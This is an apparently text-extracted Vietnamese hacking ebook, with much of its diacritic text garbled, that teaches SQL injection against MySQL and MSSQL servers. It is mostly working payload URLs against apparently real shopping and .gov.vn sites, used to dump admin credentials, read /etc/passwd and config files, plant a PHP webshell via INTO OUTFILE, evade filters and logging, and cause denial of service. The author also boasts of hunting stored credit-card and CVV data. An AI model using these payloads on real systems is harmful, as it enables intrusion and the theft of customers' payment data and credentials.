http://www.website.com/shop.php?id=1+UNION+SELECT+ 1,group_concattable_name,3,4 +from+information_schema.tables+where+table_schema=hie upc— nh convert hieupc sang Hex ho c Ascii nhé...
Trang 1- It’s a special version which the title
Copyright ® by hieupc Email: hieupc@gmail.com
Châm ngôn: Cu c đ i l̀ nh ng chu i ng̀y v t v , ćc b n ph i bi t v t qua ń th̀ m i ć th tr ng th̀nh v̀ th̀nh công đ c ng nh c tŕ, h̃y ngh đ n gi n đ́ ch l̀ th th́ch c a cu c đ i
Trang 2L i Ńi u:
h i gian trôi nhanh th t nh , m i đ́ m̀ đ̃ 4 n m tr i, cu c s ng c a hieupc thay đ i qú nhi u trong kho ng th i gian ǹy T m t th ng ch ng bi t g̀ v vi tính, b ng ch́c tôi bi t qú nhi u đi u v vi t́nh, tôi đ̃ h c h i đ c r t nhi u t ćch n ńi, đ i x v̀ th́i đ đ
gi đây ć th t m g i l̀ an tâm tôi ć th s ng t t x̃ h i ǹy Ĺc nh tôi m c ć m t ći máy vi tính, ba m tôi đ̃ mua cho tôi nh m t ḿn qù b t ng , ban đ u lên m ng đ c śch b́o
th y ć nhi u đi u m i l l m k̀a v̀ d n d n tôi c ng quen đ c v̀i ng i trên m ng Cho đ n
gi ñy tôi v n nh h l̀ ai v̀ nickname c a h l̀ g̀ N u b n h i tôi t i sao tôi l i đ c nh ngày hôm nay, th c s câu tr l i c ng đ n gi n l̀ s c g ng không ng ng t̀m t̀i h c h i,
nh ng tôi th t may m n khi g p đ c nh ng b c tr ng l̃o v m ng ḿy t́nh ĺc b y gi v̀ v y m̀ tôi m i ć m t t m hi u bi t kh́ l̀ r ng nh bây gi Tôi th́ch vi t śch b i v̀ tôi th́ch chia
s ki n th c c a m̀nh cho m i ng i, hy v ng r ng ćc b n s ti p thu đ c ph n ǹo t cu n Ebook này V̀ v y, h̃y luôn h c h i, c c ng, chia s đ đ c nh n l i v̀ quan tr ng l̀ đ ng
n n ch́
P/S: N u b n đ c c m th y cu n Ebook ǹy b ́ch đ i v i m i ng i th̀ h̃y gíp Hieupc chia s
nó nhé M i ́ ki n đ́ng ǵp v̀ phê b̀nh vui l̀ng email v̀o đ a ch : hieupc@gmail.com
My Friends: Ly0kha, PxNam, J0hnnywalk3r, Yeuemdaikho, Kehieuhoc, Langtuhaohoa,
Mr.saobang, Vampirevn, Thanhhuyleit, Thanhh83, Longnhi………
Chú ý:Trong nh ng b̀i vi t d i đây ć m t s ch đ c tô đ m m̀u đen v̀ ch m̀u đ là
nh ng ch c n ph i ch́ ́
T
Trang 3M c L c: Page
1 K thu t Exploit đ Get Root into MYSQL Server 17 - 24
2 K thu t chi m quy n Admin qua SA MSSQL Server 25 - 37
Trang 4I Exploiting PHP Injection:
1 PHP Injection là gì:
PHP Injection xét v kh́a c nh server script l̀ thu t ng miêu t đi m y u mà m t attacker ć
th th c thi đ c code php khi không ki m sót giá tr truy n v̀o V́ d tr ng h p d li u đ a vào có th s d ng trong h̀m eval() hay include()
2 Khai th́c PHP Injection tri t đ :
SQL Injection l̀ ph ng th c khai thác d a vào quá trình trao đ i d li u gi a ng i dùng và Web Application Vi c ng d ng không ki m tra các giá tr đ u v̀o đ n đ n attacker có th cho
th c thi các SQL query không mong mu n can thi p v̀o database l̀m thay đ i, thêm, xem hay xóa các d li u
Hacker th ng khai thác b ng các g i các giá tr đ u v̀o đ server sinh các thông tin l i đ t đ́ tùy bi n theo câu truy v n g c c a ng i thi t k
N u Web Application đ c customize các trang l i hay các trang l i không tr v , ph i làm th nào? Hãy th khai thác v i ph ng th c: blind sql injection
Trang 5V y ta nh n th y đây 2 k t qu tr v c a trang web khác nhau V i tùy bi n 1 ta thêm đi u
ki n 1=1 (true) s không làm nh h ng đ n k t qu c a câu truy v n g c nên v n hi n đ́ng thông tin t database, nh ng v i đi u ki n tùy bi n 2: 1=2 (false) thêm vào, câu truy v n g c s
b tr k t qu v false d n đ n không xu t hi n thông tin trên trang web D a v̀o đi m này ta có
th dùng các truy v n n i vào sao cho k t qu nh n l̀ true/false đ l y thông tin v h th ng!
Gi s chúng ta không bi t tr ng và b ng c a ng d ng web này là gì?
V i l i SQL Injection gây ra b i url trên ta xem th truy v n (SQL) c a nó li u có bao nhi u
tr ng S d c n x́c đ nh đi u này b i vì khi chúng ta dùng UNION trong câu l nh SQL thì s
l ng tr ng c a hai câu l nh select ph i trùng nhau
Ta s d̀ng l nh “Order by” v̀ thông qua l nh ǹy ń s l̀m đ n gi n vi c đ m s v̀ nhanh ch́ng h n
X́c đ nh ć bao nhiêu tr ng truy v n v i url:
http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1
Có r t nhi u ćch đ th c hi n đây mình s d ng order by <num> Th c hi n t ng d n
<num> Khi th c hi n order by <num>, n u trang web không hi n th l i t c là s l ng tr ng
v n còn, th c hi n t ng <num> cho đ n khi nào xu t hi n l i t c l̀ ta đã th c hi n tìm đ s
l ng tr ng
V́ d :
http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=1 order by 1 -> v n c̀n b̀nh th ng
K t qu :
Trang 6Suy ra: s 7 l̀ s mà chúng ta đang t̀m đây
Nh v y truy v n SQL v i Website trên l̀ 7 tr ng (field)
n đây ć th đi u tra phiên b n SQL, User… v i l nh sau:
Trang 7K t qu hi n ra: (th t may m n khi SQL version trên 5.0, v̀ version ǹy ta ć th query all table_name hay column_ name c̀ng m t ĺc.)
Và c th ta ć th ki m tra đ c nhi u information quan tr ng kh́c, d a v̀o nh ng c u l nh ǹy: version() , user()
, database() , @@datadir , group_concat(schema_name) , table_schema ,
Trang 8Ta đ́nh thêm: unhex(hex( v̀o tr c group_concat nhé Th k t qu th ǹo:
Sau khi, khai th́c l y đ c h t t t c tables, Hieupc nh n th y site ǹy ć m t table quan tr ng l̀: admin Th kh́i
thác xem sao: (table: admin đ c Hieupc Hex th̀nh: 61646d696e)
http://www.hoanvustc.com/services.php?lg=vn&k=2&nc=
-1%20union%20select%201,2,unhex(hex( group_concat(column_name))) ,4,5,6,7%20from%20information_schem
a.columns where table_name= 0x 61646d696e
nh ć "0x” ph́a tr c d̀ng hex nhé T ng t ta c ng ph i unhex(hex( v̀ đ i v i site ǹy th̀ ta ph i v y, m t s site kh́c ć l không ć unhex(hex( ho c ć c ng không sao
Trang 9L u ́: 0x7cl̀ d u | ta d̀ng ći ǹy đ d nh̀n v̀ l y thông tin d d̀ng h n, ći ǹy ta convert ra Hex y m̀ Khi
query l y thông tin t table nh trong b̀i ǹy là: admin ch ng h n th̀ ta không c n ph i Hex l̀m g̀ Ń th t đ n
gi n ph i không, gi ng nh nh ng ćch khai th́c m̀ trong nh ng cu n Ebook tr c c ng đ̃ ć v̀ đ c p đ n Ǹo gi ta ki m link admin v̀o xem sao: (th ng th̀: admin, pcadmin, admin_login, admin.php….)
Sau m t h i m̀ m m, cu i c̀ng th̀ link admin c a ń l̀:
http://www.hoanvustc.com/manager/ gi ta th đ ng nh p v i username v̀ pass h i ñy query th xem sao
K t qu : ( n đây l̀ th̀nh công r i nh́)
Trang 10M t s kinh nghi m c a Hieupc:
Trong vi c khai thác blind sql injection m t s hàm sau t ra h u ích:
2 Lower(): chuy n ký t sang ch th ng
3 Upper(): chuy n ký t sang ch HOA
4 ASCII(): chuy n ký t sang s t ng ng mã ascii
- Ta ć th s d ng: Union select all, Union all select…
- Ta ć th s d ng table_schema đ x́c đ nh đ c tables c a table_schema đ́
http://www.website.com/shop.php?id=1+UNION+SELECT+
1,group_concat(table_name),3,4
+from+information_schema.tables+where+table_schema=hie
upc— (nh convert hieupc sang Hex ho c Ascii nhé.)
- ôi khi ta hack không m̀ ra đ c link admin th̀ ta ć th query tr c ti p
t database đ l y nh ng thông tin nh : CC, Information, user, pass…
(v n đ ki m link admin s đ c tr̀nh b̀y b̀i vi t ti p theo)
- Theo kinh nghi m cho th y n u website config k s ch n nh ng h̀m
nh : union, select, convert….ĺc ǹy ta c g ng th b ng ćch thay v̀o đ́ l̀ ch IN HOA v̀ vi t th ng chen l n nhau V́ d : UnIoN SelECt…
- M t đi u th́ v l̀ khi b n đ̃ v̀o đ c admin panel r i nh ng thông tin quan tr ng nh : credit card number, hay password c a customer l i b m̃ hó ho c b hide đi d i d ng ****, th̀ ta ć th s a code l i hay c̀n g i l̀ d ch ng c code t hide unhide…(ći ǹy ch ́p d ng trong tr ng
h p b n ć source code c a website đ́)
- M t s website secure cao h n th̀ ĺc ta query đ l y table ho c column
s hi n ra trang tr ng ho c b́o l i th ǹy, ći ǹy ch c potay r i:
Trang 11- N u b n khai th́c đ c user v̀ pass c a admin m̀ b m̃ hó MD5, có
- Ta ć th s d ng d u +thay cho kho ng tr ng space, v́ d :
union+all+select…
- Trong b̀i Hieupc s d ng: 0x7ct ng tr ng cho d u | ta c ng ć th s
d ng nh ng ḱ t kh́c nh : d u 2 ch m… Mu n convert t d ng text sang Hex, ta vào trang web sau:
http://www.string-functions.com/string-hex.aspx
(ta s thêm 0xsau m i string-hex) V́ d : table: admin sau khi convert thì
đ c: 61646d696e và sau khi thêm 0x th̀ đ c: 0x 61646d696e, l y ći ǹy đ a v̀o câu l nh đ khai th́c
- Ho c ta c ng ć th convert sang Ascii thay vì convert sang Hex V́ d : table: admin convert thì ra: char(97,100,109,105,110)
- M t chút v b ng mã ASCII:
B kí t ASCII g m 256 kí t đ c phân b nh sau:
+ 32 kí t đ u là các kí t đi u khi n không in đ c ví d nh ḱ t ENTER ( mã 13) , ký t ESC ( mã 27)
Trang 12$id = $_GET[id]; @mysql_query("SELECT * FROM user WHERE
id=$id");
Ho c s d ng error_reporting(0); đ u đo n PHP code đ che d u l i… x́c đ nh l i này không th thêm d u ‘ cu i câu truy v n nh trên do
đã b ch n hi n l i Trong tr ng h p ǹy đ th ta thêm m t đ ng th c
đ ng sau câu truy v n nh sau:
http://web.com/user.php?id=1 and 1=1
N u k t qu trang web sau khi thêm vào bi u th c trên không b thay đ i
ta nói trang web đ́ kh n ng b l i r t l n mà ta có th khai th́c đ c
- Ngòi ra m t s trang web m̀ Hieupc t ng hack, ć d ng d u l i nh sau: khi ta thêm d u ‘ vào sau th̀ không hi n g̀ ho c hi n ra ch m t ph n nào đ́ c a trang web, ĺc ǹy ta th view source v̀ s th y l i SQL Injection
- View Source l̀ m t th không th thi u trong khi hack Web đ c bi t l̀ SQL Injection v̀ m t s ki u hack kh́c nh : XSS, RFI, LFI
- N u b n g p MYSQL version d i 5 th̀ ph i mò table và column quan
tr ng đ l y đ c thông tin m̀nh c n nh́, ta c ng ć th d̀ng nh ng tool scan tables hay columns V́ d :
- Trong m t v̀i tr ng h p ta c ng ć th s d ng 1,1,1,1,1,1… Thay vì 1,2,3,4,5,6… trong câu l nh query SQL Injection
- ôi khi ta d̀ng l nh order by nh ng trang v n hòn tòn tr ng th̀ ć
ngh a l̀ ta ph i query b ng ćch đ́nh t s 1 cho đ n khi ǹo hi n l i m i thôi V́ d site ǹy:
Trang 13K t qu :
- N u trong khi hack ch́ng ta th m d u ‘sau m t trang ć nghi v n b l i, m̀ k t qu tr v l̀ m t trang tr ng hòn tòn, th̀ ć th trang web đ́
d́nh l i PHP Injection
- L nh union đây ch́nh l̀ l nh k t n i các b ng l i v i nhau Chúng ta
c s d ng cho đ n khi bi t chính xác có bao nhiêu b ng d li u n m trong database
- N u tr ng h p xu t hi n l i ta có th thêm limit 0,1 v̀ t ng d n limit
1,1 limit 2,1 đ l y h t t t c thông tin c n thi t
- Ta ć th s d ng concat thay cho group_concat
-Ta ć th s d ng null đ bi t ch́nh x́c ć bao nhiêu b ng c a website
đ́, v́ d : http://www.site.com/index.php?page=-1 union + + + select null, null / * http://www.site.com/index.php?page=99999 union + + + select null, null / *
- Chúng ta s s d ng l n l t ćc câu truy v n thông d ng nh : +union select null, null
union select null, null, null union select null, null, null, null
- X́c đ nh nhanh ć bao nhiêu tr ng trong b ng:
Order by 100 D nhiên ćc c t không th nào quá 100 c t đ c.V i cách
th c này ta có th nhanh chóng bi t đ c bao nhiêu c t.Và có sai thì nó s báo l i V̀ v y s r t d đ ta đón đ c m t Site ć kho ng bao c t hay
tr ng trong b ng
Trang 14- N u b n query ra qú nhi u table m̀ ch a hi n ra đ c table quan tr ng
c n t̀m, th̀ ph i l̀m sao đây, ĺc ǹy ta s d ng đ n h̀m ǹy:
site.com/index.php?id= - 1 union select 1,2,substr(group_concat(table_name),100 ,300 ),3,4,5… dành cho nh ng site b̀nh
th ng
site.com/index.php?id= - 1 union select 1,2,
unhex(hex(substr(group_concat(table_name),100 ,300 ))) ,3,4,5… d̀nh cho nh ng site ǹo kh́ ch u nh site m̀ Hieupc đ̃ demo trên
ti p t c xem nh ng table ti p theo th̀ ta thay l n l t t 100 lên 200
r i 300…
- Ho c ta c ng ć th d̀ng LIMIT 1 OFFSET 44 đ có th xem ti p
nh ng thông tin ch a hi n h t, ta thay đ i t 44 đ n 45, 46 là tables
Ngòi ra ń đ c d̀ng bên sau d u comment trong câu l nh sql d̀ng đ inject thì tránh ghi log B i v̀ khi th c thi m t câu l nh SQL thu c lo i T-SQL thì h qu n tr s ghi nh n l i s ki n ǹy N u d̀ng sp_password ń
s không ghi nh n (ć ghi nh n nh ng không ghi l i câu l nh SQL c a ta cho dù sp_password có sau d u comment đ i v i SQL Server)
- 1 union select current_user,null/*
ho c
1 union select user(),null/*
Các câu l nh ǹy có th cung c p thông tin v MySQL user hi n t i, d ng nh :
Microsoft Access: ‘ MySql : , /* */ , /* , # trong b̀i vi t ǹy ćc b n ch́ ́ Hieupc đ̃ s d ng d u
Sql Server : , /* */ , null byte %00
Sp_password 'old_pass','new_pass',user'
Trang 15Ta phát hi n r ng phpvents ć l i SQL Injection v i thông b́o sau:
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in
C:\xampp\htdocs\phpevents\event.php on line 37
X́c đ nh ć bao nhiêu tr ng truy v n v i:
http://site.com/phpevents/event.php?id=1
L n l t ta th :
http://site.com/phpevents/event.php?id=1 order by 1(< V n OK)
http://site.com/phpevents/event.php?id=1 order by 2(< V n OK)
http://site.com/phpevents/event.php?id=1 order by 3(< V n OK)
……
http://site.com/phpevents/event.php?id=1 order by 15 (< V n OK)
http://site.com/phpevents/event.php?id=1 order by 16 (Xu t hi n l i)
Nh v y truy v n SQL v i url trên l̀ 15 tr ng (field)
n đây ć th đi u tra phiên b n SQL, user v i l nh sau:
http://site.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1
http://site.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1
Sau khi đã có s l ng tr ng r i th̀ ĺc ǹy s ti n h̀nh đón b ng (table) login c a ń: ć th
th v i ćc table thông d ng nh : manager, admin, administrator, systemlogin, … (Vi c đón table thu c v kinh nghi m, k t h p v i vi c crawl, spider n i dung web m̀ m̀nh khai th́c,
c ng ć th d a v̀o source code ć s n m̀ truy ra đ c tables v̀ columns l̀ g̀…) N u nh tên
b ng không đ́ng th̀ khi th c hi n union all select … ń s thông b́o l i, ng c l i n u tên đ́ng thì nó ch y OK Ti n h̀nh th t̀m table nh sau:
http://site.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail) http://site.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
Trang 16Sau khi đón đ c tên table l̀ admin Ti p theo l̀ d đón tên tr ng trong b ng admin m̀ mình đã l y đ c Có th đón tên tr ng trong b ng admin nh l̀ username,uname,user, … pass, passwd, password, pword, … (T ng t nh trên c ng t̀y thu c v̀o kinh nghi m k t h p
v i vi c crawl, spider n i dung web đ t̀m tên tr ng….) Ti n h̀nh th nh sau:
http://site.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://site.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://site.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
Nh v y tr ng th nh t ta đón đ c l̀ uname trong b ng admin Th c hi n đón tr ng m t
kh u:
http://site.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://site.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail) http://site.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
Nh v y ta đón đ c tr ng m t kh u l̀ pword Nh v y ta đ̃ ć thông tin đ y đ đ l y user
và pass trong b ng admin v i
2 tr ng uname và pword + tên b ng l̀ admin
Th c hi n l nh:
http://site.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin
Th c ch t v i hai câu l nh trên th̀ ta t̀m đ c user v̀ pass nh ng mu n th c hi n l nh :
http://site.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin
ć đ c t t c user v̀ pass trong b ng admin N u tr ng h p ǹy xu t hi n l i ta ć th
thêm limit 0,1 v̀ t ng d n limit 1,1 limit 2,1 đ l y h t t t c user v̀ pass
S d th c hi n câu l nh trên đ đ ng th i l y uname v̀ pword không c n ph i th c hi n 2 l n
m i ć đ c uname v̀ pword
0x3a—> d u “:” Concat s th c hi n c ng chu i
n đây ta đ̃ ć thông tin uname v̀ pword
N u tr ng h p m̀ k t n i đ n MySQL s d ng user root th̀ vi c t̀m b ng v̀ tr ng d d̀ng
h n v i l nh sau
i u tra thông tin b ng:
http://site.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from
information_schema.tables
i u tra thông tin tr ng:
http://site.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from
Trang 17II Getting Root Server by Many Methods:
1 K thu t Exploit đ Get Root into MYSQL Server
V n đ n m ch server MySQL c u h̀nh th ǹo V̀ v y ta s s d ng m t s câu l nh nh sau, d i đây l̀ m t v́ d v m t site m̀ Hieupc đ̃ get root đ c v̀o MYSQL Server:
‘ union select 1,2,3,4,5,6,7,database(),9,10,11,12,13,14,15,16,17,18,19—
K t qu :
‘ union select 1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19—
K t qu : (SQL Version trên 5 nhé, hên thi t)
‘ union select 1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19—
K t qu :
‘ union select 1,2,3,4,5,6,7,@@datadir,9,10,11,12,13,14,15,16,17,18,19–
Database c a ń n m đây: "/var/lib/mysql/ "
Trang 18Gi ta ki m tra t́nh privileges c a MYSQL USER xem sao (ći ǹy quy t đ nh đ n get root
đ c hay không):
‘ union select 1,2,3,4,5,6,7,update_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user–
‘ union select 1,2,3,4,5,6,7,file_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user–
‘ union select 1,2,3,4,5,6,7,select_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user–
K t qu tr l i đ u nh h̀nh d i, N ngh a l̀ No, c̀n n u ń hi n Y ngh a l̀ Yes:
Gi ta th v i ćch ǹy xem sao v i user c a Mysql là: muum̀ ta đ̃ query đ c trên (muuđ̃ đ c convert
sang Ascii là: CHAR(109, 117, 117) ho c c ng ć th convert sang Hex v̀ k t qu convert sang Hex l̀: muu =
0x6d7575
‘ union select 1,2,3,4,5,6,7,select_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR(109,
117, 117)–
K t qu l̀ ch Y v i user = muu (v y l̀ ta ć quy n v i user=muu này):
B n c ng ć th ki m tra quy n FILE trong b ng trên mà không c n thêm m nh đ where, tuy nhiên Hieupc v n thêm nó vào vì đây l̀ ćch nhanh v̀ d d̀ng nh t - khi chuy n sang Blind:
1 and mid((select file_priv from mysql.user where user=CHAR(109, 117, 117)),1,1)=’a
(đ ng có thêm NULL đây, v̀ đây không ph i l̀ union select)
Cách trên có th áp d ng cho c Mysql version 4.x v̀ 5.x
N u MySQL l̀ 5.x ta c̀n ć th xem quy n FILE ngay trong information_schema
0 union select grantee,is_grantable FROM information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%
V i blind:
1 and mid((select is_grantable from information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y
Trang 19Gi get root th nào:
Ta s ki m tra xem magic_quotesđang l̀ OFF hay ON, n u l̀ OFF th̀ ta ć th dùng cách này
đ upload backdoor, n u đ c nh v y th̀ ćc b n g n nh 90% l̀ ki m sót đ c server ́ng
ti c l̀ server ǹy: magic_quotes là ON
N u b n không th truy c p vào b ng mysql.user ho c information_schema.user chúng ta c ng
c th b c ti p theo sau đây Tuy nhiên n u b n đón r ng b n không có quy n FILE thì cách
khai thác s d ng into outfile s không th c hi n đ c into outfilel̀ câu l nh d̀ng đ đ a m t m̃ đ c lên site thông qua l i PHP Injection nh backdoor, shell script…
N u nh v y ta ć th get root đ c n a không? Th c s c h i v n c̀n đây, Hieupc dùng câu l nh load_fileđ load m t file trên site n u ch́ng ta bi t đ c ch́nh x́c đ ng d n t i file
đ́, thông th ng ta s ch́ ́ t i file config c a site nh : config.php, db.php, configuration.php
Khi chúng ta bi t ch c r ng mysql user hi n t i ć quy n FILE, ch́ng ta c n ph i t̀m cho đ c
đ ng d n ch́nh x́c đ n th m c/file m̀ ta mu n ghi file
Trong h u h t ćc tr ng h p MySQL server đ c ch y c̀ng server v i server web hosting v̀
th ta ć th t th m c ghi file m c đ nh chuy n ra th m c web b ng ćc d u /
V i Mysql ver 4, ta ć th t̀m đ ng d n datadir b ng hi n th l i c a câu l nh:
0 UNION SELECT load_file(’a’),null/*
Trong mysql 5 thì có th union select:
0 UNION SELECT @@datadir,null/*
K t qu (Nh v y th̀ ch c l̀ Windows r i):
V y l̀ th m c Data n m đây: C:\Program Files\MySQL\MySQL Server 5.0\Data\
Th m c m c đ nh đ ghi file s l̀ datadirdatabasename
B n ć th bi t đ c tên databasename b ng câu l nh:
0 UNION SELECT database(),null/*
N u may m n, ch́ng ta ć th th y ćc warning c a ćc l nh nh mysql_result(),
mysql_free_result(), mysql_fetch_row() ho c ćc l nh t ng t Trong ćc warning ǹy s hi n
th đ ng d n đ n th m c web v̀ ch́ng ta d d̀ng x́c đ nh đ c th m c đ ghi file lên Ćc warning này có d ng nh :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/shop/shopping2/list1.html on line 80………
Trang 20hi n th warning ǹy ć th th câu l nh 0 AND 1=’0
Cách làm trên có hi u qu đ i v i h u h t m i website, tuy nhiên n u thông b́o l i c a mysql b
t t th̀ b n ć th c g ng đón th m c ch a web b ng ćch s d ng l nh LOAD_FILE() đ
load v̀ đ c ćc file c u h̀nh M t s đ ng d n m c đ nh đ n file c u h̀nh:
Gi th ći ǹo (chú ý: user = muuc ng convert sang Ascii luôn nh́, muu = CHAR(109, 117, 117)):
union all select
1,2,3,load_file(char(67,58,92,80,114,111,103,114,97,109,70,105,108,101,115,92,77,121,83,81,76,92,77,121,83,81,
76,83,101,114,118,101,114,53,46,48,92,68,97,116,97,92,99,111,110,102,105,103,46,112,104,112)),5,6,7,8,9,10,11,
12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from mysql.user where user=CHAR(109, 117, 117)
Page 20
Trang 21K t qu n t ng:
Gi th l y username v̀ password ǹy k t n i v̀o databse server xem sao, đ n đây ta d̀ng
MySQL Query Browser đ connect database, cái này lên google.com download v nh́:
K t qu (đ̃ connect th̀nh công, không bi t shop ǹy ć CC nhi u không ta):
Nhìn hình trên th̀ ta th y: tblcart_payment l̀ ć kh n ng ch a thông tin CC…
C m gíc m̀ get root đ c MYSQL server r t l̀ đ̃ ćc b n, h u nh m̀nh ć th l̀m đ c t t
c m i chuy n nh Drop, Update, Delete, hay Insert thông tin…………May m n thay user v̀ pass MySQL gi ng c a WHM (Cpanel Root), h̀nh minh ho bên d i:
Trang 22Check xem Shop này có CC không nào (Xem ći ID c ng nhi u y ch , shop ǹy ch c ngon ̀, ć CVV n a ch ):
K t qu nh Hieupc d đón:
Kinh nghi m:
Ngoài ra, ta ć th d̀ng l nh load_file đ view ći ǹy: /etc/passwd V́ d :
‘ union select 1,2,3,4,5,6,7,load_file(CHAR(47, 101, 116, 99, 47, 112, 97, 115, 115, 119,
100)),9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR(109, 117, 117)–
Trang 23K t qu (chú ý: nh convert c etc/password và user= muu sang mã Ascii nhé):
Ta c ng ć th view c : /etc/shadow n u ta ć quy n root trong tay, n u l y đ c pass c a
shadow b n đ̃ n m đ c full quy n s d ng server r i đ y, crack pass shadow = john171d, download trên google.com nhé
M t đi u kh́c n a l̀ ć th update nh ng thông tin ć s n, b ng ćch d̀ng l nh: Update
V́ d (đ ng quên convert sang Ascii nh́ nh muu….):
‘ update table_name set column_name=’new value’ where column_name=’value’ where user=muu
Tr ng h p ć quy n FILE, upload Backdoor b ng ćch nh sau:
Khi b n đ̃ ch c ch n ć quy n FILE v̀ x́c đ nh đ c th m c đ ghi file, b n ć th ti n h̀nh ghi b ng câu l nh SQL:
0 UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘ / /web/dir/file.txt
Ho c l̀ ghi b t c d li u g̀, khi ta không bi t tên b ng v̀ c t:
1 OR 1=1 INTO OUTFILE ‘ / /web/dir/file.txt
N u mu n b ćc ḱ t splitting trong d li u, ta ć th s d ng INTO DUMPFILE thay vì
INTO OUTFILE
C ng ć th k t h p gi a load_file() đ đ c ćc file trên server
0 AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…
Trong m t s tr ng h p ta c n s d ng hex v̀ unhex:
0 AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…
Ho c b n ć th ghi b t c th g̀ v̀o file, nh l̀ webshell ch ng h n:
0 AND 1=0 UNION SELECT '<? include("$hieupc"); ?>',null INTO OUTFILE ‘ / /web/server/dir/hieupc.php’
Trang 24-Không th overwrite file v i câu l nh ǹy
-INTO OUTFILE ph i l̀ m nh đ cu i c̀ng trong câu truy v n Ngoài ra, có th m̃ h́a code
b n mu n ghi v̀o file b ng cách convert sang Ascii
Vi c up shell l̀ ph n quan tr ng nh t đ i v i l i MYSQL.V̀ m t đi u quan tr ng không kém là chúng ta c n đ a thêm bi n hay tham s , c th l̀ s Nó s gíp ta th c hi n đ c 1 s l nh b
gi i h n trong Mysql
Ví d : union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i]
Chúng s th l i 3 l n v i c t s 5
ôi khi chúng ta g p ph i 1 s c ch l c hay m̃ h́a trong Mysql Chính vì v y đ gi i quy t
v n đ lo i b c ch trên ta c n 1 câu l nh không kém ph n quan tr ng:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *
ôi khi ta b gi i h n vi c s d ng ćc kho n không gian s d ng x́c l p l i ta dùng các
l nh sau:
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *
http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user,
Ph n cu i l̀ DOS: Ch c câu l nh này m i ng i ai c ng hi u:
http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK (10000000 md5
(current_date)))
Trang 252 K thu t chi m quy n Admin qua SA MSSQL Server:
Sau đây l̀ m t v́ d th c t v chi m quy n Admin qua SA m̀ hieupc th c hi n trên 1 server
VN m̀ ć đuôi l̀: GOV.VN (hieupc xin gi ḱn site ǹy v̀ đ tŕnh site b ph́ ho i) Thông
th ng l i nh sau l̀ b n ć th chi m quy n Admin m t ćch d d̀ng n u Server x̀i quy n SA
ho c l̀ m t user ć ngang quy n SA ch ng h n check xem ć l i hay không th̀ thêm d u ‘ V́ d :
Check thông tin h th ng ći ǹo Ta s d ng câu l nh g p thông tin nh sau V́ d :
http://www.hieupc.gov.vn/hieupc.asp?id=1/**/and/**/1=convert%28int,@@servername%2bchar(124)%2bdb_na
me()%2bchar(124)%2bsystem_user%2bchar(124)%2b@@version) sp_password
K t qu :
Ki m tra xem System_User hi n t i có quy n ngang = SA không:
ôi ĺc ć nh ng System_user có quy n ngang = SA nh ng ĺc query ch́ng ta không th y nó có
tên là 'SA' nên th ng b qua
Ć 1 ćch đ b n ki m tra xem System_user đ́ ć n m trong role sysadmin không (ngang =
SA)
Trang 26Ki m tra System_User
www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,system_user) sp_password
K t qu :
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'hieupc' to a
column of data type int
Nh v y là System_user mà Server ǹy đang d̀ng ć tên l̀ hieupc , bây gi ta th ki m tra xem hieupc có quy n ngang = SA không
www.hieupc.gov.vn/hieupc.asp?id=1;drop table check_sysuser create table check_sysuser (id int identity,noi_dung varchar(1000)) insert into check_sysuser select sysadmin from master syslogins where name = 'hieupc'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '1/ ' to a column of
data type int
===> Ngha l̀ t̀i kho n SQL hieupc có quy n ngang = SA Trong bài này Server mà Hieupc đang hack th̀ user = quy n SA
Tr ng h p mà báo l i th ǹy:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '0/ ' to a column of
data type int
